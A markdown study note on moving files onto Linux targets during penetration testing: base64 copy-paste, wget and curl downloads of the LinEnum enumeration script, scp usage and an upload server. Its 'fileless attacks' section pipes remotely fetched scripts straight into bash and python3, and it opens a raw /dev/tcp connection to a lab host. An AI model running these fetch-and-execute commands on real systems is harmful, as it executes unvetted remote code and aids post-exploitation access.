---
title: "3. Linux File Transfer"
date: 2024-07-20
draft: false
---


## Base64 Encoding / Decoding

```bash
--check MD5 hash
$ md5sum $file
```

```bash
--encode with base64
cat $file | base64 -w 0;echo 
```

copy, and paste content onto target linux machine

```bash
echo -n 'base64_encoded_string_long_huge' | base64 -d > filename
```

confirm hashes match (seen in step1) 
You can also upload using the reverse steps. 

## wget and cURL 

```shell-session
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
```

```shell-session
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
```

## fileless attacks using linux 
- Because of the way Linux works and how [pipes operate](https://www.geeksforgeeks.org/piping-in-unix-or-linux/), most of the tools we use in Linux can be used to replicate fileless operations, which means that we don't have to download a file to execute it.

### fileless download with curl
```shell-session
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
```

same works with python binaries

```shell-session
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
```

## Download with bash `/dev/tcp`

There may be situations where you don't have well-known file transfer binaries available. Bash 2.04 v or greater (compiled with --enable-net-redirections), built-in `/dev/tcp` file can be used for simple file downloads. 

**Connect to target webserver**
```shell-session
exec 3<>/dev/tcp/10.10.10.32/80
```
**HTTP Get request**
```shell-session
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
```
**Print response**
```shell-session
cat <&3
```
![](/img/Pasted image 20240720204423.png|1000)


## SSH Downloads
SH implementation comes with an `SCP` utility for remote file transfer that, by default, uses the SSH protocol.
```bash
$ scp file user@host:/path/to/file                        # copying a file to the remote system using scp command
$ scp user@host:/path/to/file /local/path/to/file         # copying a file from the remote system using scp command
```

```bash
$ scp file1 file2 user@host:/path/to/directory            # copying multiple files using scp command
$ scp -r /path/to/directory user@host:/path/to/directory  # Copying an entire directory with scp command
```

```bash
-r      # transfer directory 
-v      # see the transfer details
-C      # copy files with compression
-l 800  # limit bandwidth with 800
-p      # preserving the original attributes of the copied files
-P      # connection port
-q      # hidden the output
```

## Web upload
As mentioned in the `Windows File Transfer Methods` section, we can use [uploadserver](https://github.com/Densaugeo/uploadserver), an extended module of the Python `HTTP.Server` module

```shell-session
sudo python3 -m pip install --user uploadserver
```

**Create a Self-Signed Certificate**
```shell-session
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Generating a RSA private key
................................................................................+++++
.......+++++
writing new private key to 'server.pem'

```
